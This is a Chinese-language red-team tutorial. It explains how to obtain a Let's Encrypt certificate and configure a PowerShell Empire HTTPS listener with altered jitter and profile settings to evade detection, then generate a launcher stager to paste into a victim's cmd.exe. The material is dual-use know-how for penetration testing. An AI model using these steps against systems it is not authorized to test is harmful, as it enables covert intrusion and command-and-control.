使用可信证书配置PowerShell Empire实现隐蔽渗透

本文详细介绍了如何通过Let's Encrypt获取可信证书,配置PowerShell Empire监听器使用HTTPS端口443,并生成PowerShell载荷建立隐蔽会话,有效提升红队渗透测试成功率。

使用可信证书配置PowerShell Empire

作者:Carrie Roberts
注意: 本文提及的技术和工具可能已过时,不适用于当前环境。但本文仍可作为学习资料,并可能为现代工具和技术提供更新或集成思路。

使用可信证书和非默认Empire选项将有助于提高在网络中成功建立会话的几率。请按照以下说明进行设置。

获取签名数字证书

首先使用Let’s Encrypt为服务器获取签名数字证书。访问https://certbot.eff.org/获取说明。以下以运行在Debian上的Apache为例:

  1. 在Jessie Backports Repo中添加以下行到sources.list文件(本例中为/etc/apt/sources.list):

    1
    
    deb http://ftp.debian.org/debian jessie-backports main
    
  2. 使用以下命令更新:

    1
    
    sudo apt-get update
    
  3. 安装Certbot包:

    1
    
    sudo apt-get install python-certbot-apache -t jessie-backports
    
  4. 运行apache插件:

    1
    
    sudo certbot --apache
    

此过程将提示回答一些问题。注意:需要有一个指向服务器的域名(价格便宜,直接购买一个),因为Let’s Encrypt不会为裸IP地址颁发证书。或者,可以使用自签名证书(如https://attackerkb.com/Powershell/Powershell_Empire所述),这不需要域名。

配置证书供Empire使用

将cert.pem和privkey.pem合并为同一文件供Empire使用(感谢Joff):

1
2
3
cd /etc/letsencrypt/live/<你的域名>
cp privkey.pem empire-priv.key
cat cert.pem chain.pem > empire-chain.pem

停止Apache以便端口80和443可用于Empire监听器:

1
service apache2 stop

配置Empire监听器

在Empire中使用类似以下选项。注意:更改jitter和默认配置文件是为了避免会话检测并提高成功建立会话的几率(感谢Derek):

1
2
3
4
5
6
7
8
uselistener http
set Name 443
set Port 443
set DefaultJitter 0.7
set CertPath /etc/letsencrypt/live/<你的域名>/
set Host https://<你的域名>
set DefaultProfile /admin/login.php,/console/dashboard.asp,/news/today.jsp| Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;
execute

提示: 有关编写监听器启动脚本的提示,请参见https://www.blackhillsinfosec.com/how-to-script-startup-of-empire-listeners/。

生成PowerShell载荷

现在端口443上有一个HTTPS监听器。可以使用以下Empire命令生成在受害者机器上运行的PowerShell命令以建立会话:

1
2
3
back
usestager multi/launcher 443
execute

建立会话

将生成长PowerShell命令复制并粘贴到受害者的cmd.exe中,通过HTTPS与可信证书建立会话。


*特别感谢Joff Thyer和Derek Banks提供的想法和帮助。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计